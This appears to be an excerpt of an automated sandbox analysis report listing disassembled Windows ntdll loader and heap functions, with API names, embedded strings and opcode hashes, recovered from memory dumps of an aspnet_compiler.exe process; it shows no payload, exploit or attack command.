                                                        Function 012F2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 90 12f2b60-12f2b6c LdrInitializeThunk
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: 67f089f381d2b68f297e419898672a99ff41765302aefcebdf41bb770df0dd58
                                                        • Instruction ID: 21eaba16019cff5b1fc465f4880cee5be9f4b1c2bf9c72ae6f07df50fab1ac01
                                                        • Opcode Fuzzy Hash: 67f089f381d2b68f297e419898672a99ff41765302aefcebdf41bb770df0dd58
                                                        • Instruction Fuzzy Hash: F3900265602800439106715C4424616404A97E0205B55C061E10145D4DC52589D56225
                                                        Function 012F2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 92 12f2df0-12f2dfc LdrInitializeThunk
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: a91585e6a1f0804c03d08f8ffff24dfdbbd13b8de132fb1b897083c87627120b
                                                        • Instruction ID: 543d39d6c4b26dcabb12ec46188cd589602545ceb2346d9be9925296b35d6cf5
                                                        • Opcode Fuzzy Hash: a91585e6a1f0804c03d08f8ffff24dfdbbd13b8de132fb1b897083c87627120b
                                                        • Instruction Fuzzy Hash: D490023560180453E112715C4514707004997D0245F95C452A042459CDD6568A96A221
                                                        Function 012F2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 91 12f2c70-12f2c7c LdrInitializeThunk
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: f21eb8747f86addaf77516cc1361ed34f87efc47c5133ac74778e528c9b80d07
                                                        • Instruction ID: 2145964fb828989c347cf961c0427fb3012962f47332a55482ed6428fa2947ca
                                                        • Opcode Fuzzy Hash: f21eb8747f86addaf77516cc1361ed34f87efc47c5133ac74778e528c9b80d07
                                                        • Instruction Fuzzy Hash: 1990023560188842E111715C841474A004597D0305F59C451A442469CDC69589D57221
                                                        Function 0042CB73 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 66 42cb73-42cbb4 call 4047a3 call 42da83 RtlAllocateHeap
                                                        APIs
                                                        • RtlAllocateHeap.NTDLL(?,0041E63B,?,?,00000000,?,0041E63B,?,?,?), ref: 0042CBAF
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_400000_aspnet_compiler.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AllocateHeap
                                                        • String ID:
                                                        • API String ID: 1279760036-0
                                                        • Opcode ID: 1d8e73164ce8c93ea852d0ad4dc12186ea096e4233477a82ec3908d0da1d9eef
                                                        • Instruction ID: bfac82b1344e622eace8f01e7f1013251b68861b6e56bef498abdbf8666e1618
                                                        • Opcode Fuzzy Hash: 1d8e73164ce8c93ea852d0ad4dc12186ea096e4233477a82ec3908d0da1d9eef
                                                        • Instruction Fuzzy Hash: 29E06D756042047FC610EE99DC41EAB37ACDFC9714F004019F908A7241C670B91087B4
                                                        Function 0042CBC3 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 71 42cbc3-42cc04 call 4047a3 call 42da83 RtlFreeHeap
                                                        APIs
                                                        • RtlFreeHeap.NTDLL(00000000,00000004,00000000,?,00000007,00000000,00000004,00000000,00417110,000000F4), ref: 0042CBFF
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_400000_aspnet_compiler.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: FreeHeap
                                                        • String ID:
                                                        • API String ID: 3298025750-0
                                                        • Opcode ID: 1432115aa1d6c1023308cd9da39ee5222a191dd938d7cd036947d29f5f62ce5e
                                                        • Instruction ID: fc58c9a9e2f59ed9cac2d43a4409600b284b3bcc33b751e7fa16c2f165d639a1
                                                        • Opcode Fuzzy Hash: 1432115aa1d6c1023308cd9da39ee5222a191dd938d7cd036947d29f5f62ce5e
                                                        • Instruction Fuzzy Hash: B2E06DB1204704BFD610EE59DC45E9B37ACEFC5710F004019FA08A7241D674B91086B8
                                                        Function 0042CC13 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 81 42cc13-42cc4f call 4047a3 call 42da83 ExitProcess
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_400000_aspnet_compiler.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ExitProcess
                                                        • String ID:
                                                        • API String ID: 621844428-0
                                                        • Opcode ID: 40233fde71c190d009a30d51794a6b5af7ee9aef355ced9470f298dab7bd26ee
                                                        • Instruction ID: 9c41f0ad3f0db46b3c37bbb57d07035b18cd720a6ff5a833e0ec41a0627301bb
                                                        • Opcode Fuzzy Hash: 40233fde71c190d009a30d51794a6b5af7ee9aef355ced9470f298dab7bd26ee
                                                        • Instruction Fuzzy Hash: 6AE04F356442147BD520EA5ADC41FD7775DDFC5710F414029FA08A7281CA75791187E4
                                                        Function 012F2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 86 12f2c0a-12f2c0f 87 12f2c1f-12f2c26 LdrInitializeThunk 86->87 88 12f2c11-12f2c18 86->88
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: e1ec73d7505f00c8d874a1a1c83aeead327ef114b476f99799a86e40f60a08c1
                                                        • Instruction ID: 09c02f4eb3061897af1ed3fa233f0d80d48177fb1370d8f4abb0f61508f51e93
                                                        • Opcode Fuzzy Hash: e1ec73d7505f00c8d874a1a1c83aeead327ef114b476f99799a86e40f60a08c1
                                                        • Instruction Fuzzy Hash: 21B09B71D019D5C5FA12E76446087177940B7D1705F16C075D3030685F8738C1D5E375

                                                        Non-executed Functions

                                                        Function 01332349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 0-2160512332
                                                        • Opcode ID: 17f2687e3309df28069a3497a1ae7d517ee28b25d4d16e97c41a2eca8474091a
                                                        • Instruction ID: 3d409830899ded34dd2c63721adac31440f223da5dfeefaf99c86b87b77d7a85
                                                        • Opcode Fuzzy Hash: 17f2687e3309df28069a3497a1ae7d517ee28b25d4d16e97c41a2eca8474091a
                                                        • Instruction Fuzzy Hash: 20929F71618342AFE721DF28C880B6BBBE8BBC4758F04492DFA95D7251D770E844CB96
                                                        Function 013612ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                                        • API String ID: 0-3591852110
                                                        • Opcode ID: f96e07191f19639eebd38fe6e14840af3a9ffffc0d1a10d7c1dd24ddc56ddb7f
                                                        • Instruction ID: c5ae0661addcc3313d283d6ba5352e9cae06c38a3b71c018f9df5ad80683894a
                                                        • Opcode Fuzzy Hash: f96e07191f19639eebd38fe6e14840af3a9ffffc0d1a10d7c1dd24ddc56ddb7f
                                                        • Instruction Fuzzy Hash: 9812DF30610646DFD726DF29C441BBABBF9FF89718F18C859E5868BA49D734E880CB50
                                                        Function 012AD34C Relevance: 11.6, Strings: 9, Instructions: 312COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                                        • API String ID: 0-3532704233
                                                        • Opcode ID: 98bc07414d11ef91e83683492c356bb33c2a825a9742b8b660448e54117aed27
                                                        • Instruction ID: cab1fe12070a9cc453a9bf8d0795c3718f53fed394413d6427853f682c1cec53
                                                        • Opcode Fuzzy Hash: 98bc07414d11ef91e83683492c356bb33c2a825a9742b8b660448e54117aed27
                                                        • Instruction Fuzzy Hash: FAB1AE7152835A9FC712DF68D450B6FBBE8BB88744F41492EFA88D7240D770DA44CB92
                                                        Function 01349179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
                                                        • API String ID: 0-3063724069
                                                        • Opcode ID: 3f5e3fbd8e48e3e20f9a572e6268ea8e8fee609e07b16f4e3b52dc4656c84ce6
                                                        • Instruction ID: 7b5465710fbc650e0461aad6d3be5c318821f0e2ccfb875c1f39e482acbdfe2a
                                                        • Opcode Fuzzy Hash: 3f5e3fbd8e48e3e20f9a572e6268ea8e8fee609e07b16f4e3b52dc4656c84ce6
                                                        • Instruction Fuzzy Hash: B5D1E672814316AFD721DB58C840B6BBBE8AF9872CF05492DFA84A7250D774ED44CBD2
                                                        Function 01360274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                        • API String ID: 0-1700792311
                                                        • Opcode ID: 9623cf63520d3d1fde671cd0ce5228a99783f4330b1204812352c86b3bb2d0f4
                                                        • Instruction ID: 17ee7c8d6f6990c4e8a82492ce559735d95e02157c2305c9886b1f552c133807
                                                        • Opcode Fuzzy Hash: 9623cf63520d3d1fde671cd0ce5228a99783f4330b1204812352c86b3bb2d0f4
                                                        • Instruction Fuzzy Hash: C0D10C31610286DFDB2ADF68C442AAEBBF9FF4A718F48C049F545AB656C7759880CF10
                                                        Function 012E63FF Relevance: 10.3, Strings: 8, Instructions: 261COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @/$Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$h@$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 0-3108773229
                                                        • Opcode ID: b87e5a0fb3d5b5e4ff1bda01f60d25b98124c67657df3a34b037ce90ef1d467b
                                                        • Instruction ID: e971a28ae8799b0fd7722c1f7974d00af71cf397209d40e3a8f39359d967e070
                                                        • Opcode Fuzzy Hash: b87e5a0fb3d5b5e4ff1bda01f60d25b98124c67657df3a34b037ce90ef1d467b
                                                        • Instruction Fuzzy Hash: FE912870B20326DBEB35EF59D849BAA7BE5FF61B18F940128E6046B6C1D7B09801C7D0
                                                        Function 012AD08D Relevance: 10.2, Strings: 8, Instructions: 249COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 012AD146
                                                        • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 012AD2C3
                                                        • @, xrefs: 012AD2AF
                                                        • Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 012AD262
                                                        • Control Panel\Desktop\LanguageConfiguration, xrefs: 012AD196
                                                        • \Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 012AD0CF
                                                        • @, xrefs: 012AD313
                                                        • @, xrefs: 012AD0FD
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
                                                        • API String ID: 0-1356375266
                                                        • Opcode ID: 91368e7e48be0c2beab1902b425f6c398809ee2ab024e6917511aa864518e40e
                                                        • Instruction ID: 8e053961682d6b3bfd1c772ee4317ff9ea4dfa94303a6466178fd72eaa85485e
                                                        • Opcode Fuzzy Hash: 91368e7e48be0c2beab1902b425f6c398809ee2ab024e6917511aa864518e40e
                                                        • Instruction Fuzzy Hash: 7CA1907152834A9FE721DF64C490B6BFBE8BB84715F40892EFA8897240E774D908CF52
                                                        Function 012AF172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 0-523794902
                                                        • Opcode ID: ad1aada58c4b610bd9db4fd1a27da5e67b6c96f3fc0c821d9ed65fbdbeb86a4b
                                                        • Instruction ID: 273aeab6165f2218b039ec5fb90e8e861b9e3db8fe918b9a6f8ee42c1f17d37d
                                                        • Opcode Fuzzy Hash: ad1aada58c4b610bd9db4fd1a27da5e67b6c96f3fc0c821d9ed65fbdbeb86a4b
                                                        • Instruction Fuzzy Hash: E0420031228382DFD716DF28C590B6ABBE5FF84708F48896DE6858B391D738D845CB52
                                                        Function 012CB1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
                                                        • API String ID: 0-122214566
                                                        • Opcode ID: a11fdbf2f8cd665a853bff72f03ac0eb2ea2e7a47fe0b521fcee2a222e2618d7
                                                        • Instruction ID: 7943feb5a57e6a9fcee0fd66b99696be7fbf8159cb1d1baa482eabffd1e84a96
                                                        • Opcode Fuzzy Hash: a11fdbf2f8cd665a853bff72f03ac0eb2ea2e7a47fe0b521fcee2a222e2618d7
                                                        • Instruction Fuzzy Hash: 43C18D30A242169BDF299F68C892B7EBB65FF45B44F14426DEF05AB281DBB4CC44C391
                                                        Function 0135F525 Relevance: 7.7, Strings: 6, Instructions: 231COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
                                                        • API String ID: 0-1745908468
                                                        • Opcode ID: 202992131f5d1947ee0806076db578bad99a0b8a17bed3fb7e15f49e6755e4b1
                                                        • Instruction ID: 6434b9822c83f43d4967bd26b6fd73d25dae29db13baf379c8f8df15ee8ab83e
                                                        • Opcode Fuzzy Hash: 202992131f5d1947ee0806076db578bad99a0b8a17bed3fb7e15f49e6755e4b1
                                                        • Instruction Fuzzy Hash: EC913231A00686DFDB12DF68C440EADBFF9FF59B18F58801DE845AB6A1CB719880CB10
                                                        Function 012DF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RTL: Re-Waiting, xrefs: 0132031E
                                                        • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 013202E7
                                                        • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 013202BD
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                        • API String ID: 0-2474120054
                                                        • Opcode ID: 2baf1246633fd5589f2515e8694a1935798e695677fd8bf32cc92698d79eba29
                                                        • Instruction ID: 7e638f1b3811ec7747c9ef44a37ad9a76dad0e942394bdd57bafc51da1f839e9
                                                        • Opcode Fuzzy Hash: 2baf1246633fd5589f2515e8694a1935798e695677fd8bf32cc92698d79eba29
                                                        • Instruction Fuzzy Hash: 86E1D0306247429FE729DF28C985B2ABBE0BB85318F140A1DF6A6CB2D1D774D845CB46
                                                        Function 012D51EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • Kernel-MUI-Language-Allowed, xrefs: 012D527B
                                                        • WindowsExcludedProcs, xrefs: 012D522A
                                                        • Kernel-MUI-Number-Allowed, xrefs: 012D5247
                                                        • Kernel-MUI-Language-SKU, xrefs: 012D542B
                                                        • Kernel-MUI-Language-Disallowed, xrefs: 012D5352
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                                        • API String ID: 0-258546922
                                                        • Opcode ID: 9c6f3da5118f72545b9cf8184c50bae7737283f3a6534d513f6678ee0563813b
                                                        • Instruction ID: aea451d2033d615c74408a2d6450793f172f920d97b898e902245a68c87203b1
                                                        • Opcode Fuzzy Hash: 9c6f3da5118f72545b9cf8184c50bae7737283f3a6534d513f6678ee0563813b
                                                        • Instruction Fuzzy Hash: 7AF15F72D21219EFDF16DF98C980AEEBBB9FF18650F11406AE601E7254D7B09E01CB90
                                                        Function 012C70C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                        • API String ID: 0-3178619729
                                                        • Opcode ID: 6bc854f6f76188dda7273fa13caf1f7c14cc65e3e2f6955bdf2d43e6195fcc28
                                                        • Instruction ID: 96208be6e4d0246762a9f887c7df94ddb0750673e1f836db259936d9337f69da
                                                        • Opcode Fuzzy Hash: 6bc854f6f76188dda7273fa13caf1f7c14cc65e3e2f6955bdf2d43e6195fcc28
                                                        • Instruction Fuzzy Hash: EB13CF70A20656CFDB29CF68C4807A9BBF1FF58704F1482ADDA49AB381D774A945CF90
                                                        Function 012C1070 Relevance: 5.9, Strings: 4, Instructions: 940COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 0-3570731704
                                                        • Opcode ID: a6bba17794933df6b0c2733d89fa71dcfcc76e0099433075148682fbc95ede70
                                                        • Instruction ID: 228421160f54c18843b81483171bc19e33deecd3dae73e78755a0acb2e4955db
                                                        • Opcode Fuzzy Hash: a6bba17794933df6b0c2733d89fa71dcfcc76e0099433075148682fbc95ede70
                                                        • Instruction Fuzzy Hash: 74927B71A10229CFEB25CF18CC42BA9B7B5BF85714F0582EEDA49A7242D7749E80CF51
                                                        Function 012BA3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                                        • API String ID: 0-379654539
                                                        • Opcode ID: 992b2a0a7b1d3094c361acab7b4d9f66cbc47c9fccb50cc68fb43bbe640a7dce
                                                        • Instruction ID: d0b9231b1793a00a295dc8dbe0bd7e88a0ca7f8f6d177f03c04fa47a39e9acaa
                                                        • Opcode Fuzzy Hash: 992b2a0a7b1d3094c361acab7b4d9f66cbc47c9fccb50cc68fb43bbe640a7dce
                                                        • Instruction Fuzzy Hash: 45C19C70528386CFD725CF58C080BAAB7F4FF84748F04496AFA958B255E778CA49CB52
                                                        Function 012E8402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 012E855E
                                                        • LdrpInitializeProcess, xrefs: 012E8422
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 012E8421
                                                        • @, xrefs: 012E8591
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 0-1918872054
                                                        • Opcode ID: b103d6d447de880b1637d253de85be177be7fbded7c5dc01064bbfe3f31e5ea4
                                                        • Instruction ID: 2b1ce1b672be739d971097a92cfbb5fd6cdb99fc0a8f4116af5958e6b784acf3
                                                        • Opcode Fuzzy Hash: b103d6d447de880b1637d253de85be177be7fbded7c5dc01064bbfe3f31e5ea4
                                                        • Instruction Fuzzy Hash: C7918C71568345AFDB21EF65CC45FBBBAE8FB85744F80092EFA8492191E730D904CB62
                                                        Function 013611A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                                        • API String ID: 0-336120773
                                                        • Opcode ID: efbc3762874acdc448a2996223026e860a3ec4c160eae779054e22c8676970a2
                                                        • Instruction ID: 1a2c440425ca1ae2a93e06cf40994c588b5bbde3db8901ca7540dc14e7987534
                                                        • Opcode Fuzzy Hash: efbc3762874acdc448a2996223026e860a3ec4c160eae779054e22c8676970a2
